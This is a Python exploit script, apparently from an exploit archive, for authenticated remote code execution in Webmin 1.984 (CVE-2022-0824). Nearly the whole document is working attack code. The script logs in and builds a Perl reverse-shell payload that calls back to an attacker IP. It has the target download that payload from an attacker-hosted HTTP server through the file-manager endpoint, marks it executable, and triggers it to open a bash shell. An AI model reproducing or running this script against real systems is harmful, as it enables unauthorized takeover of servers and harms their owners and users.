Webmin 1.984 Remote Code Execution

`# Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)  
# Date: 2022-03-06  
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)  
# Vendor Homepage: https://www.webmin.com/  
# Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip  
# Version: <= 1.984  
# Tested on: Ubuntu 18  
# Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell  
  
  
#!/usr/bin/python3  
  
"""  
Coded by: @faisalfs10x  
GitHub: https://github.com/faisalfs10x  
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/  
"""   
  
import requests  
import urllib3  
import argparse  
import os  
import time  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
TGREEN = '\033[32m'  
TRED = '\033[31m'   
TCYAN = '\033[36m'   
TSHELL = '\033[32;1m'   
ENDC = '\033[m'  
  
class Exploit(object):  
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):  
self.target = target  
self.username = username  
self.password = password  
self.py3http_server = py3http_server  
self.pyhttp_port = pyhttp_port  
self.upload_path = upload_path  
self.callback_ip = callback_ip  
self.callback_port = callback_port  
self.fname = fname  
  
#self.proxies = proxies  
self.s = requests.Session()  
  
  
def gen_payload(self):  
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')  
print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)  
f = open(f"{self.fname}", "w")  
f.write(payload)  
f.close()  
  
def login(self):  
login_url = self.target + "/session_login.cgi"  
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }  
  
data = { 'user' : self.username, 'pass' : self.password }  
try:  
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)  
success_message = 'System hostname'  
if success_message in r.text:  
print(TGREEN + "[+] Login Successful", ENDC)  
else:  
print(TRED +"[-] Login Failed", ENDC)  
exit()  
  
except requests.Timeout as e:  
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)  
exit()  
  
def pyhttp_server(self):  
print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')  
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up  
print('[+] Sleep 3 second to ensure http server is up!')  
time.sleep(3) # Sleep for 3 seconds to ensure http server is up!  
  
def download_remote_url(self):  
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"  
headers = {   
"Accept": "application/json, text/javascript, */*; q=0.01",   
"Accept-Encoding": "gzip, deflate",   
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",   
"X-Requested-With": "XMLHttpRequest",   
"Referer": self.target + "/filemin/?xnavigation=1"   
}  
  
data = {   
'link': "http://" + self.py3http_server + "/" + self.fname,   
'username': '',   
'password': '',   
'path': self.upload_path   
}  
  
r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)  
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")  
  
def modify_permission(self):  
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"  
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }  
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }  
  
r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)  
print(f"[+] Modifying permission of {self.fname} to 0755")  
  
def exec_revshell(self):  
url = self.target + '/' + self.fname  
try:  
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)  
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!  
print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)  
print("[+] Shell location: " + url)  
else:  
print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)  
  
def do_cleanup(self):  
print(TCYAN + '\n[+] Cleaning up ')  
print(f'[+] Killing: http.server on port {self.pyhttp_port}')  
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')  
exit()  
  
def run(self):  
self.gen_payload()  
self.login()  
self.pyhttp_server()  
self.download_remote_url()  
self.modify_permission()  
self.exec_revshell()  
self.do_cleanup()  
  
  
if __name__ == "__main__":  
  
parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')  
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')  
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')  
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')  
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')  
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')  
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')  
args = parser.parse_args()  
  
target = args.target  
username = args.credential.split(':')[0]  
password = args.credential.split(':')[1]  
py3http_server = args.py3http_server  
pyhttp_port = py3http_server.split(':')[1]  
callback_ip = args.callback_ip  
callback_port = args.callback_port  
upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.  
fname = "revshell.cgi" # CGI script name, you may change to different name  
  
pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)  
pwn.run()  
  
`